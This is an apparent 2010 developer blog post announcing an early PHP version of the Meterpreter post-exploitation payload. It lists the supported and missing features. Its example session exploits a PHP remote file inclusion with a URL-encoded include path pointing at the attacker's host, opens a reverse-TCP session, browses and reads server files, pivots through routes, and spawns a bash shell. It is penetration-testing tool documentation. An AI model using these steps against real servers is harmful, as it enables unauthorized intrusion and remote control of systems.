Last updated at Wed, 27 Sep 2017 21:13:30 GMT
Background
Meterpreter, as I'm sure most of our readers know, is an advanced in-memory payload with tons of useful post-exploitation features. About a year ago, while looking through various buggy, backdoored PHP shells, I decided it might be useful to have some of Meterpreter's networking features in the web's most pwnable language. I started to implement this idea prior to Blackhat last year but got caught up in other projects and let it languish. Last week I dusted it off, cleaned it up and committed the first steps toward a full-fledged Meterpreter in PHP.
What works:
- stdapi:filesystem commands: ls, rm, pwd, cd, upload, download, cat, edit
- stdapi:system commands: ps, kill, execute*, getpid, getuid, sysinfo
- stdapi:network commands: portfwd
- msfconsole commands: route
* except interaction (the -i option) on Windows.
This is probably best illustrated by some example usage.
msf exploit(php_include) > exploit
[*] Started reverse handler on 192.168.99.1:4444
[*] Using URL: http://192.168.99.1:8080/foo
[*] PHP include server started.
[*] Sending /vuln/test.php?path=%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%39%39%2e%31%3a%38%30%38%30%2f%66%6f%6f%3f
[*] Meterpreter session 27 opened (192.168.99.1:4444 -> 192.168.99.129:2326) at 2010-06-14 14:03:31 -0600
meterpreter > sysinfo
Computer: EGYPT-B3E55BF3C
OS : Windows NT EGYPT-B3E55BF3C 5.1 build 2600
meterpreter > ls
Listing: C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\vuln
==========================================================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 141 fil 2010-06-08 01:32:56 -0600 test.php
meterpreter > cd ..
meterpreter > ls
Listing: C:\Program Files\Apache Software Foundation\Apache2.2\htdocs
=====================================================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 51 fil 2010-06-14 14:20:53 -0600 foo.php
100666/rw-rw-rw- 44 fil 2004-11-20 11:16:26 -0700 index.html.bak
100666/rw-rw-rw- 609 fil 2010-06-03 16:07:59 -0600 index.php
100666/rw-rw-rw- 16 fil 2010-06-07 09:42:10 -0600 phpinfo.php
40777/rwxrwxrwx 0 dir 2010-06-08 01:32:51 -0600 vuln
meterpreter > cat foo.php
<?php
echo PHP_VERSION . "\n" . PHP_OS . "\n";
meterpreter > background
msf exploit(php_include) > route add 127.0.0.1 255.255.255.0 27
msf exploit(php_include) > connect 127.0.0.1 80
[*] Connected to 127.0.0.1:80
GET /foo.php HTTP/1.0
HTTP/1.1 200 OK
Date: Mon, 14 Jun 2010 20:03:51 GMT
Server: Apache/2.2.15 (Win32) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Content-Length: 111
Connection: close
Content-Type: text/html
5.2.13
WINNT
msf exploit(php_include) > sessions -i 26
meterpreter > sysinfo
Computer: vuln
OS : Linux vuln 2.6.32-22-generic #36-Ubuntu SMP Thu Jun 3 19:31:57 UTC 2010 x86_64
meterpreter > getuid
Server username: www-data (33)
meterpreter > execute -i -f bash
Process 3637 created.
Channel 4 created.
uname -a
Linux vuln 2.6.32-22-generic #36-Ubuntu SMP Thu Jun 3 19:31:57 UTC 2010 x86_64 GNU/Linux
exit
meterpreter >
What doesn't
- Migrate. This can never work since it doesn't make sense to inject PHP code into a native process, even if PHP had access to the debugging API calls that make it possible.
- Token stealing. See above.
- Screenshots. A lot of servers running PHP don't even have a screen.
- Process interaction on Windows. You can still execute channelized processes, and then read/write the channel, but stream_select() is weird on Windows
- It appears that reading from a socket or pipe that has no data will never return, even after setting timeouts. I'm probably missing something that makes this work. Setting non-blocking mode on every socket has it's own issues, but it may be the only way to fix this.
- SSL. OpenSSL is not compiled into PHP by default which is a bummer.
Future
Eventually I intend to make this work with multiple transport methods. Right now it is a single reverse tcp stage. It would also be nice to use SSL when PHP has been compiled with OpenSSL support but this might be tricky on the ruby side. Extensions need to work for a default install of PHP (zlib is not compiled in by default), which simply means not compressing them before sending. The size of the code should in general be relatively small anyway, so this shouldn't increase the network traffic by much.